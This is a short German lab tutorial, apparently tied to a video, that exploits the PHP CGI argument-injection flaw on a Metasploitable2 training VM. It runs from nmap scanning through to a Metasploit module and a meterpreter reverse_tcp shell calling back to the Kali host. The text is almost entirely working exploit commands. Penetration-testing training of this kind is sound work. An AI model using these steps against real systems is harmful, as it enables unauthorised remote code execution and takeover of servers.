🎬 Dieses YouTube-Video

1️⃣ Ziel überprüfen

Ermitteln Sie die Metasploitable-IP von Kali:

ip a

Zum Beispiel:

Kali: 192.168.56.101

Metasploitable2: 192.168.56.102

Wir überprüfen Port und Dienst:

nmap -p 80 192.168.56.102

Auch im Browser überprüfbar:

http://192.168.56.102/

2️⃣ Metasploit starten

msfconsole

3️⃣ PHP CGI Exploit-Modul auswählen

search php cgi

Das richtige Modul:

use exploit/multi/http/php_cgi_arg_injection

4️⃣ Exploit konfigurieren

set RHOSTS 192.168.56.102
set RPORT 80
set TARGETURI /

Payload auswählen:

set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.56.101
set LPORT 4444

Wir überprüfen:

show options

5️⃣ Exploit ausführen

run

oder

exploit

Bei Erfolg:

Meterpreter session 1 opened

6️⃣ Zugriff überprüfen

sysinfo
whoami